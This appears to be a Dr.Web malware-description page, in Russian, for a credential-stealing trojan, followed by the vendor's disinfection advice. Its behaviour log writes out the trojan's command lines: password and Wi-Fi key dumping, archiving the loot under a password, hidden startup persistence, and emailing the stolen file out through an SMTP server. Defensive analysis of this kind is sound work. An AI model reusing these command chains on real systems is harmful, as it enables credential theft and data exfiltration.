Trojan.DownLoader32.61942

Техническая информация

Изменения в файловой системе

Создает следующие файлы

%TEMP%\~731e.bat
%LOCALAPPDATA%\blat.dll
%LOCALAPPDATA%\blat.exe
%LOCALAPPDATA%\blat.lib
%LOCALAPPDATA%\blatdll.h
%LOCALAPPDATA%\c.exe
%LOCALAPPDATA%\o.exe
%LOCALAPPDATA%\w.exe
%LOCALAPPDATA%\7z.dll
%LOCALAPPDATA%\7z.exe
%LOCALAPPDATA%\nircmd.exe
%WINDIR%\syswow64\rundil32.exe
%PROGRAMDATA%\microsoft\windows\start menu\programs\startup\persistent.lnk
<Текущая директория>\c.txt
<Текущая директория>\o.txt
<Текущая директория>\omyiiexq.7z

Присваивает атрибут 'скрытый' для следующих файлов

%TEMP%\~731e.bat
<Текущая директория>\c.txt
<Текущая директория>\o.txt
<Текущая директория>\omyiiexq.7z

Удаляет следующие файлы

<Текущая директория>\c.txt
<Текущая директория>\o.txt
%TEMP%\~731e.bat
%LOCALAPPDATA%\blat.dll
%LOCALAPPDATA%\blat.exe
%LOCALAPPDATA%\blat.lib
%LOCALAPPDATA%\blatdll.h
%LOCALAPPDATA%\c.exe
%LOCALAPPDATA%\o.exe
%LOCALAPPDATA%\w.exe
%LOCALAPPDATA%\7z.dll
%LOCALAPPDATA%\7z.exe
%LOCALAPPDATA%\nircmd.exe

Сетевая активность

TCP

'sm##.gmx.com':25

UDP

DNS ASK sm##.gmx.com

Другое

Создает и запускает на исполнение

'%LOCALAPPDATA%\nircmd.exe' shortcut "<SYSTEM32>\rundIl32.exe" "%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\Startup" "persistent"
'%LOCALAPPDATA%\c.exe' /stext c.txt
'%LOCALAPPDATA%\o.exe' /stext o.txt
'%LOCALAPPDATA%\w.exe' /stext w.txt
'%LOCALAPPDATA%\w.exe' /GetKeys WirelessKeyView00107A04
'%LOCALAPPDATA%\7z.exe' a "<Текущая директория>\omyiiexq.7z" -p123abc -mhe "Sat.02.08@01.50.AM.txt"
'%LOCALAPPDATA%\blat.exe' "<Текущая директория>\Sat.02.08@01.50.AM.txt" -server smtp.gmx.com -to watsths@gmail.com -bcc watsths@gmail.com -f iamwho2@gmx.com -s "user @ omyiiexq # Sat.02.08@01.50.AM.txt" -u "iamwho2@gmx....
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\~731E.bat "<Полный путь к файлу>"' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\~731E.bat "<Полный путь к файлу>"
'%WINDIR%\syswow64\cmd.exe' /c date/t
'%WINDIR%\syswow64\cmd.exe' /c time/t
'%WINDIR%\syswow64\attrib.exe' +s +h +r ?.txt
'%WINDIR%\syswow64\attrib.exe' +s +h +r "Sat.02.08@01.50.AM.txt"
'%WINDIR%\syswow64\attrib.exe' +s +h "<Текущая директория>\omyiiexq.7z"

Рекомендации по лечению

В случае если операционная система способна загрузиться (в штатном режиме или режиме защиты от сбоев), скачайте лечащую утилиту Dr.Web CureIt! и выполните с ее помощью полную проверку вашего компьютера, а также используемых вами переносных носителей информации.
Если загрузка операционной системы невозможна, измените настройки BIOS вашего компьютера, чтобы обеспечить возможность загрузки ПК с компакт-диска или USB-накопителя. Скачайте образ аварийного диска восстановления системы Dr.Web® LiveDisk или утилиту записи Dr.Web® LiveDisk на USB-накопитель, подготовьте соответствующий носитель. Загрузив компьютер с использованием данного носителя, выполните его полную проверку и лечение обнаруженных угроз.

Демо бесплатно

Скачать Dr.Web

По серийному номеру

Выполните полную проверку системы с использованием Антивируса Dr.Web Light для macOS. Данный продукт можно загрузить с официального сайта Apple App Store.

Демо бесплатно

Скачать Dr.Web

По серийному номеру

Скачать Dr.Web с Apple Store

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Демо бесплатно

Скачать Dr.Web

По серийному номеру

Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light. Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
- загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
- после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт Dr.Web для Android Light и произведите полную проверку системы, выполнив рекомендации по нейтрализации обнаруженных угроз;
- выключите устройство и включите его в обычном режиме.

Подробнее о Dr.Web для Android